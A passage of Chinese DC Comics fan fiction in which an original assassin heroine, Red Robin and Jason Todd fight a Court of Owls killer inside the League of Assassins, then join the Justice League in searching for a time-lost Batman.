从地上被打晕的刺客手里掏出长棍，抵挡住了男人的拳头。 对于疼痛极高的忍受能力，高大的体魄, 陌生的面孔, 这种情况下红罗宾还猜不出对方猫头鹰的身份就可以把不需要的脑子捐给需要的人了, 结合索菲亚先前提供的情报，这位大概率就是那个存在感极高的49号。 刚刚的袭击让提姆现在还心有余悸, 眼前的男人虽然不如贝恩那般夸张, 但是6.56英尺搭配300磅的体重, 同时掌握各类杀人技巧且很难杀死的猫头鹰刺客就算是蝙蝠侠来了也要头疼一阵, 双开门冰箱一样的体型让少年以为自己二周目四个小时速通《生化危机二》终于遭了报应，这才导致暴君从屏幕里爬了出来并试图把红罗宾变成死罗宾。 接到信息的索菲亚来得很快, 在长刀劈砍向男人脖颈的同时, 另一把刀刺入了49号布满了器官的腹部, 不久前还在和提姆吹胡子瞪眼的杰森正握紧了刀柄，在尝试抽出刀继续攻击的时候受到了阻力，干脆放弃了那把刺客联盟随处可见的长刀，一脚蹬在刀柄处把刀身往身体内部送了几分。 “阿尔伯特都跑了，留你在这干什么？当吉祥物吗？” “你的话太多了索菲亚。” 49号的脸上再也没了之前看起来过分朴实的老实人的和气，甚至完全不顾疼痛将脖子和肚腹处的两把刀一把一把的拔了出来，徒手掰弯后扔在了地上。 “我会为了牧首大人杀了你，还有你身边这些小虫子。” 被说是小虫子的杰森对着49号挑眉，随后拔出了背后的另一把刀冲了上去。 直到这时，刺客联盟的总部响起了刺耳的警报声，原先和杰森几人缠斗在一起的49号突然一转攻势，冲着索菲亚的方向袭来，索菲亚下意识闪避后突然意识到身后便是直通外界的露台，49号只是来拖延时间的，他的同伙已经完成了真正目标。 在49号从露台上一跃而下企图逃离的时候，索菲亚蓄力多时的魔法终于出现，火舌从室内到室外连成一片，随后便是从天而降的多道闪电。 男人的动作在连续而来的魔法攻击下停滞了半刻，也就在这时杰森终于找准时机对着脖颈砍下了49号的脑袋。 身体从露台上跌落了下去，而那颗脑袋还留在露台上，琥珀金的作用下男人没有立马死去，空洞的眼睛还在眼眶里缓慢的打转，而索菲亚思考了片刻便把那颗脑袋提了起来交给杰森。 “找个火炉把这东西放进去烤，烧到碳化应该就没办法再复活了。” “B看到了恐怕要黑脸了。” “活人才有资格考虑什么不杀原则，49号都要把提姆脑袋拧下来了，还得注意不把对面打死？难度是不是太高了。”索菲亚看着49号还有生机的脑袋，没忍住伸手就是一个响亮的耳光“早看你不爽了，一天天跟狗一样乱咬人，老猫头鹰怎么不考虑给你打两针狂犬疫苗呢？” “你背叛了牧首……再一次……” “他在哪？” “……一切……开始的地方……” 这句话说了很久，索菲亚有些不耐烦了也没等到接下来的半句，低头查看才发现49号已经提前耗光了琥珀金迎来了迟到许久的死亡，只是这场死亡算不上安详，男人临走前还睁着眼，那双本就无神的金色兽瞳终于失去了生机。 索菲亚环顾四周，看了看在场的人或多或少都受了不同程度的伤，险些被勒死以及胳膊骨折的提姆，在打斗过程里硬着头皮扛下来好几个没法躲过的拳头现在脑壳还在飙血的杰森，索菲亚觉得自己没受什么伤，真的要说还是走在路上就莫名其妙挨了顿打的提姆比较惨。 不过见识了杰森的干脆利落力量与技巧结合的恰到好处的战斗方式，比起去当杀手或者做义警踹罪犯的屁股，对付那些没有理智没有道德随时可以把活人当自助餐大快朵颐的怪物其实要更合适，毕竟面对三天就能吸干一个成年人的嗜血吸血鬼，也不用考虑什么不杀原则。 毕竟法律可没规定杀吸血鬼犯法，如果要赋予这些东西人权的话，那么请吸血鬼去教堂接受圣水洗礼算不算蓄意谋杀呢？ 这次的突然情况结束的就和发起的一样迅速，至少在刺客联盟想同时集齐想要谋反的大公主+给钱什么都干的传奇雇佣兵+随时想要背刺甲方的畜生乙方还是有一定的难度的，也是拉尔斯这辈子作恶多端才能遇到这么小的概率。 关于这场事件的后续，索菲亚还是从提姆那里知道了原委。 在最初的那场内乱发生时，49号并没有离开而是和几个猫头鹰一起杀了几个不起眼的刺客隐藏身份混入其中，并且在拉尔斯受伤后原先就摇摆不定的刺客更加开始质疑起这个庞大帝国的稳定性，毕竟就连钢铁巨人一样的苏联也会某个圣诞节轰然倒塌，更何况是这样一个组织呢？ 这些墙头草很快受到了猫头鹰的蛊惑，毕竟拉尔斯长期依赖于拉撒路来获得永恒的生命，整个联盟中除了拉尔斯真正能够享受到不死泉水恩惠的往往也都是和恶魔之首关系亲密的上等人，作为朝不保夕随时都有可能成为耗材的刺客来讲，手下的每个人都具有强大恢复能力且很难被杀死的猫头鹰显然比阴晴不定的老头拉尔斯更有说服力。 而妮莎留下的暗部在意识到猫头鹰的行动后则放任了这一行为，想要看遭受重创的恶魔之首能不能顶得住第二次背叛。 “但对于塔利亚来讲，这次猫头鹰的袭击，本身就是一个陷阱。”提姆站在露台边背对着索菲亚，看向远处延绵不断的沙丘“而且猫头鹰和妮莎的人都认为我才是最重要的那个，所以49号才会选择攻击我。” “德雷克先生混的很好嘛，才多久外人都觉得你是拉尔斯的心腹了。”索菲亚伸手捏着少年制服外那层披风带着的兜帽“估计我在这里只能做心腹大患了。” 这话倒也没说错，索菲亚能够感受到自己目前完全工具人的立场，塔利亚需要一个能够处理问题的趁手工具，作为牧首遗留下来的前利爪，至少在战斗上的能力索菲亚还是有一定的信心的，所以自己目前处于一个被器重的地位。 但实际上呢？虽说索菲亚本身不是很喜欢玩拉帮结派的人，即便如此临时工刺客依旧能够感觉到自己能够接手的大多数都是些细枝末节的情报，但真正涉及到联盟内部的关键情报则完全不可能传进索菲亚的耳朵里，按照实际情况来看，自己只不过是高级一点的耗材。 而提姆则完全相反，他最初也是在处理细枝末节的情报，但出于对于情报的敏感以及自身非常好用的脑子，这位天生的侦探很快就拼凑出了这些碎片信息后更重要的核心情报，并且通过这些投名状获得了更高的权限和地位。 但拉尔斯目前对提姆放权的速度也确实快到惊人，那老头看向少年的眼神从质疑到审视现在则多了几分欣赏，而上一个被恶魔之首赏识的年轻人，他的亲儿子已经快要一米二了。 “霸道恶魔之首心尖宠，他逃他追他插翅难飞。” 提姆伸长了胳膊把索菲亚拎到了身边，用还完好的手捏着索菲亚的脸从而阻止少女说出更多禁播的内容。 “好了可以了。” “其实我在想拉尔斯是不是一种男同，因为对年龄差较大的布鲁斯日久生情，但无法突破师生禁忌恋的限制，只能促进布鲁斯和塔利亚的结合，通过这种形式来拥有蝙蝠侠，而现在达米安出生后这就意味着，布鲁斯和拉尔斯的血脉真正的融合在了一起。” 索菲亚抓着提姆的手，伸出手指在那只手心摸了两下，而少年感受到痒意后下意识想要抽回手，却还是没有动作。 “而现在他还有二十个达米安，这代表了什么，这是二十倍的爱啊。” 提姆的眼神中的迷惑很快被欣慰所取代，少年端着骨折的左手，拿右手将少女从头顶到脸颊摸了个遍，最后拍了拍少女的手，露出一个平淡的微笑。 第99章 找到蝙蝠侠消息的时候, 索菲亚正在狭窄的房间狭窄的折叠床上睡的死去活来，一向非常有礼貌的提姆一把推开了索菲亚房间那扇沉重的要死的门，将少女抱在了怀里。 “我找到他了, 他还活着，我就知道一切都是假的，他怎么会死。” 刚刚进入深度睡眠的索菲亚困得睁不开眼, 只是一味的顺着凌晨四点情绪过于激动少年的话点头。 “嗯, 嗯，对，对，好。” 这种半梦半醒的时间里哪怕就算来的人说韩国统一全世界索菲亚也会在大脑关机的情况下予以认同, 并寄希望于提姆的激情消退后一起被困意打到昏迷, 一起在这张一米二的床上睡得不省人事。 只可惜进入刺客联盟后, 拉尔斯就对红罗宾展现出浓厚的兴趣，并给予极高的地位和权限，除去一些权限要求极高的情报外, 那就是不管什么时候只要少年张嘴, 就可以随时喝到来自世界各地的咖啡, 不管是熬夜必备经典冰美式，和中药一样让人痛苦但不能走医保的热美式, 就算是某东方大国非常流行的经典款生椰拿铁, 也可以在不到半分钟出现在眼前。 这也就意味着, 在来找索菲亚之前, 不知疲倦的少年已经往空荡荡的胃袋里灌下了足够让阿福尖叫数量的冰美式，现在仅仅是嗅到把少年完全腌入味的咖啡味道, 索菲亚就能够看到因为没看住提姆祸害身体而被阿福惩罚一起失去小甜饼食用权的未来。 虽然不喜欢喝咖啡, 但咖啡的味道不算难闻, 烘焙过的咖啡豆所产生的略带苦涩的醇香气味此时随着提姆体温的升高将索菲亚包裹其中，也是在这种温热的气息下，索菲亚终于清醒了过来。 “最初我把全部精力都放在了在当前的时间地点寻找B，结果自然是一无所有，但是在知道你的世界后，我想到有没有一个可能B现在并不在我们所在的时间线，或者说他已经不在这个世界上了。” “于是为了验证这个猜想我把重点放在了那些更为久远的时间线所留下的痕迹上，如果说能找到相关的线索那就证明B被流放到了其他的时间线，如果找不到我就打算找到正义联盟从平行世界的方向继续寻找。” “好在，我找到了来自过去的线索，在委内瑞拉的一个化石博物馆里最新挖掘出的身高5.5米的霸王龙化石附近找到了形似蝙蝠状的金属物体，虽然这只恐龙胃部的胃酸将这个物体腐蚀了一部分，但当我看到传来的资料时，我就确定这一定是蝙蝠镖，我不可能认错。” “在那之后，更多的来自过去的有关蝙蝠侠的情报被找到，在非洲草原上的属于祖鲁人的部落用于祭祀的山洞里，至今还刻印着蝙蝠勇士和猛犸象战斗的画面；文艺复兴时期一位不知名画家的画作流传了下来，在上周被刺客联盟拍下，画面上是蝙蝠形状的怪物与教会对抗，身后是被从火刑架上解救下来的被认为是女巫的妇女；接下来就是航海时代，一艘原先叫做阿波罗号的船遇上了海盗，一位水手挺身而出击败了海盗，为了感激他船长将这艘船改名叫蝙蝠号……” “这些线索并非是随机出现的，而是按照时间顺序依次出现，并且根据线索来看B距离我们现在的时间越来越近，或许要不要多久他就能够回来。” 索菲亚注视着那双眼睛，看着无数代表着希望的星光从少年的眼中亮起，直到将海洋一样深邃平静的眼睛掀起惊涛骇浪。 “所以达克赛德只是为了让B穿越回过去旅游吗？他人还怪好的。” 这话说的索菲亚自己都觉得太扯了，但提姆却没有半点嘲笑，依旧坚定的盯着索菲亚在黑暗里发光的眼睛。 “我想我们可以离开了，你，我，迪克，芭芭拉，斯蒂芬妮，卡珊德拉，杰森还有阿福，我们一起去接布鲁斯回来。” 索菲亚无法从少年的眼睛里移开视线，两股频率不同的呼吸声慢慢重合，周身的温度也在逐渐上升，提姆侧坐在索菲亚的床边，尾椎骨的位置隔着一层薄被子紧紧贴着少女的大腿，而少年的手正放在猎魔人没有用力时显得格外柔软的腿上。 “所以卡珊是谁？” 这个问题问出来索菲亚自己都愣了一下，原先暧昧的氛围立马被打破，提姆那双总是显得聪明的蓝眼睛错愕的瞪圆了不少。 “我没跟你说过卡珊吗？” “没。”索菲亚快速的摇着脑袋，长了不少的碎发扫过后颈带来一丝痒意，但比起这些身体上微不足道的感受，突然出现在蝙蝠洞里的卡珊显然才是话题的中心。 后知后觉意识到自己遗漏了信息给索菲亚的少年笑弯了腰，把脑袋埋在了被子里，身体都因为大笑的动作随着颤抖，而索菲亚则用手扒拉着少年已经趴在脑袋上不再蓬松的头发试图把少年从自己身上拉起来。 “卡珊德拉很小的时候就接受了来自她父亲严苛的训练，她不被允许学习任何语言来用于沟通，被关在狭小的训练室里没日没夜的训练杀人技巧，直到她足够优秀，优秀到被刺客联盟认同，被她的亲生母亲西瓦女士认同为止。不过她拒绝这样随意夺走他人生命的行为，于是逃离了她的父亲开始流浪，直到B遇到了她。” “那她适应正常人的世界一定很难。” 索菲亚是最有资格说这话的人，曾几何时还在做杀手的女孩看着街边举着冰淇淋被父母拥抱着的同龄人，只以为遇到了同样喜欢拿小孩当掩护的同行，可是不管是那个孩子弄掉了冰淇凌球还是弄脏了崭新的衣服，这对伪装成父母的导师都没有斥责这个孩子的迹象，也没有迎面而来的耳光。 年幼的女孩看了许久最后只能把困惑压在心底跟在牧首身后离开。 直到某个圣诞节小猫头鹰第一次离开巢穴完成杀人任务即将回巢的时候，她再次透过玻璃窗看到了那个孩子，那对导师亲吻着这个孩子的额头和脸蛋，给他送上礼物，拥抱他，最后一家人分食了那只外皮刷了蜂蜜格外诱人的火鸡。 索菲亚这才意识到，这对夫妻并非是和牧首一样的杀手，他们也不会对不成器的学生做出任何足够卧床几天的惩罚行为，他们不需要从孩子身上得到任何东西，除了爱。 等到离开了审判庭，索菲亚学到了更多普通人生活的准则，不能杀人，不能随便打断别人的骨头任何一根都不行，不能跟踪恐吓不喜欢的人，也不能尝试把吵闹的熊孩子用胶带贴在他家的天花板上。 这些规则用脑子不难记，但让身体也记住不算什么容易的事，这些刀子一样的杀手的身体早就把杀人刻在了DNA里，就是大脑因为意外失去意识身体的自保反应也能够扭断别人的脖子。 “她适应的很好，斯蒂总是和她一起玩，我离开前她已经学会用手语沟通了。” “那她打得快一点会不会像是忍者结印。”索菲亚话没说完就被提姆捏住了嘴。 “可以了少说两句吧。” 女朋友哪里都好，就是多了张嘴。 还不等索菲亚把还半趴在床上冲着自己眨眼的小红鸟捞上来一起沉沦在柔软的被子里睡得昏天黑地不知天地为何物，就看到少年“蹭”的一声坐了起来，随后打了鸡血一样在索菲亚的脸颊上响亮的亲了一口后，从这个房间里像是被小丑撵了一样窜了出去，只留下被莫名其妙叫醒之后睡不着的索菲亚捂着脸一个人坐在床上。 发生什么事了？ 啊？ —————————— 克拉克很长时间都沉浸在失去蝙蝠侠的痛苦中。 对于超人来说，蝙蝠侠是最值得信任的战友。从两人认识的那天起，克拉克便永远的记住了这位朋友的心跳，即使后来男人黑着脸给自己的制服里加上了铅层，但这也并不影响超人能够第一时间找到蝙蝠侠的位置，只要超人想这么做，只要蝙蝠侠还活着。 两个人作为搭档认识了将近二十年，作为朋友也相处了二十年，即使布鲁斯作为朋友是一个再真诚不过的好朋友，但这并不影响克拉克无数次想在自己身上发现定位和监听设备的时候扭断对方的脖子。 在克拉克的内心无数次骂过这个控制欲极强，不相信任何人，疑神疑鬼的穿着黑色蝙蝠装的阔佬，但这些短暂的加在一起还没一部电影长的抱怨，丝毫不影响来自堪萨斯乡下的小记者和哥谭阔佬比钻石还坚定的友谊。 在克拉克和露易丝的婚礼上，一向放浪形骸的韦恩选择了最低调的那辆黑色法拉利出现在教堂里成为了这对有情人的证婚人，年过三十的哥谭甜心在岁月的洗礼下更加稳重成熟，而在花花公子的皮囊下八岁的布鲁斯韦恩终于冒出了头，对着自己如同钻石般闪耀却并不冰冷，像阳光一般温暖却并不刺眼的挚友送上了祝福。 “露易丝莱恩女士，这是我最忠诚的朋友克拉克，他真诚、乐观、善良、勤劳、慷慨，他的心里永远保持着热爱，他爱地球，爱人类，爱天空，爱海洋，但他深爱你，我相信你也深爱着他。那么，你愿意和这个来自斯莫维尔的傻小子克拉克结为夫妻，不论富有还是贫穷，无论健康还是疾病，无论青春还是年老，直到生命的尽头吗？” 克拉克记得露易丝那时弯弯的眉眼，记得在这段话之后立马花花公子人设发作开始说俏皮话的布鲁斯扬起的嘴角，还有在座位上起哄的来自正义联盟的战友们，以及欣慰的险些落泪的玛莎。 被所爱之人簇拥的克拉克听到了露易丝坚定地回答。 “我愿意。” 在铃声响起前，克拉克就睁开了眼睛，捏着手机钻进了洗手间，没发出一点声音来打扰还在休息的露易丝。 手机显示出一个陌生的号码，就在接通的瞬间克拉克就认出了对方的身份。 “克拉克我需要你的帮助。” “当然可以提姆，你知道的我不会拒绝的。” “我找到了一些信息能够证明B还活着，我知道这听起来像是天方夜谭，但只是真的请你相信我，他被射线击中后实际上被传送到了过去，并且在时间线上不停地穿梭，按照目前的情况来看他很快就会回到现在的时间点，但我怀疑这件事背后还有什么阴谋。” “我知道了。” 克拉克沉默了几秒，没有被氪星眼镜遮挡的天空一样澄澈的眼睛几秒就看完了少年发来的足以证明蝙蝠侠存在的文件，男人几乎忘了呼吸，脑海里再次划过身穿黑色战衣的身影是如何被击中后失去了能够证明生命迹象的心跳和呼吸，而自己是怎样手足无措的抱起了朋友逐渐冰冷的身体。 氪星人几乎不会做梦，因而在克拉克进入睡眠的时候呈现在眼前的记忆里那些难以忘怀的画面，和露易丝定情时两人的亲吻，小乔出生时被自己抱在怀里眨着眼哭鼻子的样子，看到他难得回家帮忙来不及穿鞋就跑出来迎接自己的玛莎，以及站在自己身旁的蝙蝠侠。 超级大脑无数次得出了布鲁斯已经死去的事实，可作为克拉克始终不愿意接受好友的死亡，在听到少年此刻的结论，即使知道布鲁斯还活着的概率有多低，超人的理智再次否认了超级大脑曾经无数次给出的蝙蝠侠已死的结论，给出了少年肯定的答复。 “你放心，无论如何我都一定会带他回来。” 作者有话说： 下一章我们布韦恩一定回来，十年之期已到恭迎蝙蝠侠归位 （二编对不起下下章，让猫在异世界在挣扎一下） 不过正文应该快结束了，之后就是番外了，番外内容没那么长 总之请看看预收的倒霉研究生上杉老师 《哥谭打工皇帝》 十年寒窗苦读，即将毕业时上杉离的导师进了阿卡姆。 脱去孔乙己的长衫后连条裤衩都没有的上杉离，只能在哥谭选择其他的出路。 “用自己学历找工作怎么样？”穿着警服的英俊男人举着酒杯说。 “我大学的专业是宗教学。”扎着高马尾的酒保在酒杯上放上一片薄荷递给面前的客人“你想听巫毒教的现代发展还是撒旦教的新时代变革。” 小警员默默闭上了嘴低头喝散发着凉气的莫吉托。 “说实话哥们，你不考虑其他的工作吗？”带着红头罩的强壮男人高举着双枪不断向敌人发射出橡胶子弹怒吼道。 “之前我在哥谭做杀手三个月被黑暗骑士打了二十次，进行了反思。”侧头避开子弹的杀手端起狙击枪一发爆掉了敌人头目的脑袋“我现在只在哥谭之外的地方做杀手，就是为了避开他。” 带红头罩的男人迟疑的扭头打出一个问号。 “你的目的是什么？” 黑暗骑士与神秘调查员在黑夜相遇，调查员漫不经心的将与西服同色的领带扯松。 “我希望阿卡姆马上爆炸，这样我的导师就能离开那个地方。” 话音未落，阿卡姆原地起飞，罪犯欢呼着四散而逃，而青年的身影消失在黑夜之中。 漫长的工作后，黑暗骑士终于躺在了柔软的床上，回忆起青年的回答猛地睁开眼。 “不对。” 第100章 和刺客联盟的交接工作不算麻烦, 一向在程序上拖沓恶心所有人的负责文职的刺客们像是打了鸡血不过一天就从提姆手里交接过了所有处理的大差不差的工作，索菲亚想了想感觉还是蝙蝠侠看不见的大手发力了，显得之前小队在委内瑞拉遇到的完全无法解决的破事像是每天坚持杀人放火遭到的报应。 索菲亚思考了片刻, 决定给好久没见到的天使投资人带点来自中东的土特产，只不过不愿意透露姓名的土特产本人拒绝了这个提议，并发出爆论。 “我迟早要把阿卡姆炸上天, 尤其是那个Jo*er, 炸完了还得从墙皮上铲下来冲进下水道里。” 这番虽然激烈但不失去刺客风采的话语得到了索菲亚的肯定，因为阿尔伯特跑路猫头鹰法庭全盘完蛋而成为猫头鹰这个名字唯一指代对象的猎魔人满意的点了点头，并对杰森给出了记得烧的干净一点再冲进下水道防止复活的贴心建议。 提姆没有打断索菲亚这些过于可铐可刑的建议，毕竟最近在少年身上发生了太多普通青春期男孩不会遇到的事, 不管是做义警在父母面前掉马, 还是突然接到导师的死讯, 还是在所有人都被迫承认了蝙蝠侠的死亡时自己真的凭借能够使用的一切手段找到了导师的线索，并且马上就能够将暂时迷路的布鲁斯接回来。 但显然塔利亚目前没有让自己的小儿子达米安像只候鸟一样飞回黑色蝙蝠的披风下，还顶着达米安.奥古这个名字的男孩在知道提姆和索菲亚这对看起来不太正经的情侣即将离开时, 罕见的放下了武器也没蹦出来一句带有文学意义的嘲讽的话, 祖母绿的眼睛审视了许久, 最后男孩留下一句闷哼离开了。 只是这次，提姆的口袋里也多了一把干果。 所以刺客联盟哪来那么多干果？ 拉尔斯还做特产生意？ 索菲亚不能理解, 只是面对没有开口且没有工具打开的夏威夷果, 向提姆演示了自己堪比一头鲨鱼一样的咬合力, 最后还是恰巧路过看了半天实在不知道说什么好的杰森及时停止了鲨鱼开夏威夷果这一过分猎奇的表演, 从万能腰带里拿出了干果□□作为礼物送给了索菲亚。 “叫现在的罗宾洗干净脖子等着，不够强就只能被一棍攮死变成死罗宾。” “现在的罗宾是女孩。” “那我换根粉色的棍子。” —————————— 这是索菲亚第一次来正义联盟, 那种好像来到熟的不能再熟的同学家里做客但对方全家都在所以不得不表现出礼貌而矜持样子, 但内心已经尴尬到了手都不知道放哪的地步, 只能低头跟在换了制服的提姆身后，捏紧了手里黑色的披风。 “红罗宾，你的情报没错，根据你提供的情报我们重新在平行世界以及过去的时间线进行寻找找到了更多证明B还活着的线索，就在今天早上哈尔向我们提供了新的情报。” “他在OA星的档案里找到了类似的案例，达克赛德使用光线击中了当地的一位战士，在保留尸体的情况下他的亲人朋友误以为他已经死去并为他举办了盛大的葬礼，但是在不久后他重新出现在了自己的故乡，随之而来的还有一场因为他在不间断穿越时间的过程中继续而来的巨大能量所引发的爆炸事件，而那颗星球最终也因此遭到了极大程度的破坏。” “所以我们还不能让顾问回来是吗？可他什么都没做错不是吗？总不能让他一直在过去呆着吧。”身穿红色制服带着闪电标志的男人挥舞着双手，让人肉眼几乎无法看到的动作间隙，索菲亚看到了他手里捏着的超大分量三明治是怎样在一瞬间消失的。 “蝙蝠侠是我们重要的队友，我们当然不会放弃他，只是我想现在我们需要解决射线所带来的副作用。” 红蓝色的超人依旧是一副神采奕奕的样子，再往后讨论的内容索菲亚听不真切，那些每个单词都能听懂但连在一起让人困惑的话实在超出了还没上高中的初中生的知识范围，索菲亚只好把自己完全放空直到这场对话的结束。 好在结论的部分索菲亚提起了注意力，听超人的意思，正义联盟打算通过某种方式在蝙蝠侠回到本世界之前提前释放掉对方身上可能携带的能把地球炸成烟花的能量，并且在蝙蝠侠回到本世界的那一刻用特殊储能设备将对方身上剩余的能量尽可能的进行吸收，直到回归到正常水平。 只是唯一的问题是，如何联系上蝙蝠侠告知目前的情况。 索菲亚帮不上什么忙，于是开始在脑子里戳罢工许久的系统，但无论是对话还是商城此刻都安静的可怕，无聊至极的猎魔人还顺手把那些资料库里的笔记翻了几页，只是在监护人那本早就被索菲亚翻来覆去看了好几遍的笔记里，突然增加了新的内容。 格外有攻击性的笔迹一看就是监护人留下的，只是比起平日里总是游刃有余的模样，此时这几页短短的笔记却都是在极度仓促的情况下草草留下的。 猫头鹰没有消息，四处没有猫头鹰的线索，那个魔法阵通向哪里？传送相关的魔法不可能没有一点能量溢出。 排除错误答案，魔法阵背后并非是简单的地点转换，疑似涉及到世界相关内容。魔法阵难以复刻，猫头鹰到底从哪里找到的原材料，其他材料无法做到能够带走那么多人魔法的供能。 法国地下溶洞内发现了即将干涸的绿色池水，欧洲炼金术士长期使用这种特殊材料进行炼金活动，也将其加入魔药之中，难怪索恩没有这方面的线索，使用这种原材料最出名的药剂配方还是猎魔人的青草药剂，但是从中世纪以后因为原材料缺失，青草药剂只能面临越用越少的情况。 泉水剩余的不多，只有不到200ml，想要复刻魔法阵去寻找猫头鹰难度极高，我需要找其他办法。 索恩给出了新的建议，不要自己去其他世界而是通过其他途径，比如魔法？我需要找相关的文献支持。 一个通过灵魂来识别使用对象的魔法，平时只能用来找人，但泉水蕴涵的能量应该足够找到猫头鹰，但去到新世界猫头鹰要如何生存，这个问题迫切需要解决。 爱德华建议我把魔法和之前做的那个简陋的拿来给新人培训的系统绑在一起，有些异想天开但并非不可能，我需要去拜访其他法师确认可行性。 系统初步成功了，泉水的能量以及灵魂魔法足够系统打破这个世界的限制去找到猫头鹰，泉水包含的能量足够系统最多运行二十年，只要能够找到猫头鹰，那就一切还有希望。 泉水蕴含的额外能量应该足够补全猫头鹰身上的缺陷，就算不够也没关系，我会找到她。 “来自沙漠的女巫瑟瑞娜，请你以曾经复活圣人的拉撒路的池水为指引，寻找我迷途的羽翼未满的学徒索菲亚，她被迫走上了过于孤独的道路，愿你的力量使得她在异乡不因缺少食物而饥饿，也不因缺少衣物而忍受寒冷和酷暑，她能够真正明白自己想要什么，并且坚定地走在选定的道路上，做应尽之事，爱所爱之人。离别并非意味着永远，愿您能够重新使世界交汇，而那天到来之时我们终将重逢。” —————————— 布鲁斯韦恩作为蝙蝠侠经历过无数次冒险，最早的那一场似乎发生在五岁的时候。 掉下了荒废蝙蝠洞的男孩在这群发出起怪异声音的动物群中啜泣了许久才被一路找来的爸爸发现，被拉出蝙蝠洞的那刻，年幼的布鲁斯挂着眼泪扑在妈妈的怀里，膝盖上的擦伤还在隐隐作痛。 那时布鲁斯只记得，自己发誓再也不要做这样危险的事了。 只可惜事与愿违，在那个特殊的夜晚之后，布鲁斯完全忘记了过去挂着眼泪的自己留下的誓言，穿着手工定制的黑色西装外套频繁的穿梭在哥谭那些被大人严令禁止进入的甚至比不上老鼠洞干净的角落，他从GCPD那里得知了那场意外的真凶只是一个在走投无路的情况下选择抢劫的普通男人。 布鲁斯不愿意相信这疑点十足的充满阴谋味道的鬼话，于是从哥谭横行的帮派到隐藏在地下的杀手组织，就连童谣里用来吓唬小孩的猫头鹰法庭都成了这位尚且青涩的侦探怀疑的目标，这些调查环节总是充斥着暴力威胁有时还是伴随着流血，只可惜付出了少年所有精力却都在印证那个黑色幽默一样的真相。 没有任何阴谋，韦恩夫妇只是恰好走进了公园巷，又恰好遇到了迫切需要钱所以拿着一把手枪就出门抢劫的菜鸟劫匪乔齐尔，于是这场足够改变许多人命运的悲剧才在那时恰到好处的上演。 少年无法理解为什么乔齐尔在那天选择了犯罪，也无法理解为什么哥谭的大街小巷有那么多肆意伤害他人的犯罪者，如果只是为了金钱布鲁斯还能够理解，但更多时候那些犯罪行为并非是为了求生，而只是为了取乐，心情不好将孩子活活打死的赌鬼父亲，对落单女性实施侵犯后为了不被逮捕而进行谋杀的毒虫，已经足够富有但还是向未成年出售毒pin的□□，只要有需要就立马能获得新鲜器官的富人。 布鲁斯站在下着雨的街巷，站在富丽堂皇的宴会厅里，站在面对着要求削减慈善项目资金的满是董事会成员的会议室里，少年找遍了所有的书本也没能找到内心中那个疑问的答案。 抱着疑问，少年踏上了寻找答案的道路。 想要理解罪犯第一步就是成为罪犯，于是布鲁斯完全忘却了自己含着金汤匙出生的过去成为了异国他乡最不起眼的一个小贼，蓬头垢面衣衫褴褛，他为了求生曾经盗窃，也曾经持刀抢劫过路过的人群，这些经历使得他在不同的监狱中轮转。 再之后，他遇到了拉尔斯，忍者大师曾经有过和他一样的疑问，布鲁斯很好奇这样一位学识渊博的领袖会有怎样的观点，于是在漫长的求学生涯里来自不同文化背景下年龄身份都不相同的两个人无数次关于犯罪的问题进行碰撞，而在一次次辩论后，布鲁斯意识到他找到了答案。 于是蝙蝠侠回到了哥谭，将自己的一切都献祭给这座被犯罪所浸染的城市，无数次将巨石重新推向山顶做世人眼里的无用功，而在这个过程里有人被拯救，有人失去生命，有人追随在披风之后，有人成为了新的噩梦。 蝙蝠侠将这座城市的一切都尽收眼底，并为了那些因为蝙蝠侠的帮助而过得更好的人而感到快乐，但这些还不够，只要再多制止一起犯罪的发生，或许就会有一个男人不会突然失去了性命，孩子不会失去自己的父母，而那些被遭到社会重压的市民还有鼓起勇气重新面对生活的勇气。 只是蝙蝠侠自己都没想到，会迎来一个离开哥谭的冒险机会。 那些曾经在科普类读物才会出现的史前巨兽就这么出现在蝙蝠侠的眼前，上一次布鲁斯看到恐龙还是在阿福的建议下和刚到家十分不安的杰森一起翻看的绘本里，而现在哥谭恐惧的象征正用手里的钩爪枪试图摆脱这些巨兽的追捕。 好在布鲁斯在恐龙时代停留的时间不算长，经过几次穿越后，蝙蝠侠终于来到了有人类出现的年代。 唯一美中不足的是，蝙蝠侠还是来的太早了些，这些人类先祖还没有进化出语言，思维模式和现代的孩童没有太大区别，无法看着这群原始人忍受饥饿的蝙蝠侠教会他们如何点火，如何制作出更锋利的长矛，并猎回一头足够肥美的鹿肉。 原始人将最为肥美的鹿腹肉让给了身强力壮的蝙蝠侠，并在吃饱喝足后的庆祝活动里，用植物碾碎后形成的天然颜料，在石壁上刻画出蝙蝠勇士的形象。 经历几次穿梭后，蝙蝠侠逐渐摸索出穿越的规律，在这一过程中男人适应的速度越来越快，从陆地到沙漠，海洋到雨林，越来越多的地区都留下了有关蝙蝠勇士的传说，就在这时蝙蝠侠也意识到一个事实。 穿越的速度越来越快，过不了多久自己就能够回到哥谭。 能够回家自然是好事，但蝙蝠侠的潜意识并不觉得这件事会以这么简单的形式获得皆大欢喜的结局，达克赛德射出的那道光线如果只是为了把对方送到古代目睹地球的演变，那正义联盟也不必每次都花费大量的精力和这样一位足够作恶多端之人对抗了。 男人带着面具坐在湖边暂时休整，制服早因为频繁的穿越显得破破烂烂，那块披风更是短了不少，大多数时候是帮忙爆炸伤口的临时绷带，有时也是衣不蔽体的儿童御寒的依靠。 蝙蝠侠从不吝啬，将自己所携带的物资大多分给了需要帮助的人，而现在男人此时正在闭目养神，充斥了力量的身体可以随时在危险来临时转化到战斗状态，而在这时蝙蝠侠臂甲上那台无论如何节约都已经因为耗光了电量无法启动的通讯器的屏幕突然亮了起来，随后一行文字出现在屏幕上。 “蝙蝠侠，你需要帮助。” 蝙蝠侠皱了皱眉头，随后屏幕上的这段话很快进行了切换。 “你的穿越累积了大量能量，等到你回到哥谭，地球也会随之毁灭，而系统可以帮你。” “系统需要大量充能，在你回到正确的时间之前，系统可以吸取多余的能量完成充能。” “是否同意此方案？” 男人钢蓝色的眼睛被系统所带来的光所照亮，在一片寂静中选择了其中一个选项。 “感谢您的支持，黑暗骑士。” 100-110 第101章 索菲亚没有听太多有关正义联盟的讨论, 在对话彻底结束后和提姆一起被克拉克和康纳送回了哥谭。 哥谭下起了雨，算不上大，比起之前能给人激发出求生欲的瓢泼大雨, 这种空气加湿器一样毫无攻击性的雨索菲亚甚至不需要撑伞，更何况超人自带生物力场，将雨水都隔绝在外, 只留下索菲亚因为没见过世面瞪大的眼睛。 超人阿波罗一样英俊的五官别有一番味道, 即使是自认为看不出男人长相区别的索菲亚也能被法拉利级别的美貌冲击到心跳微微加速的地步，而不远处被康纳拎着披风的提姆即使戴了面具也没展现出几分好脸色。 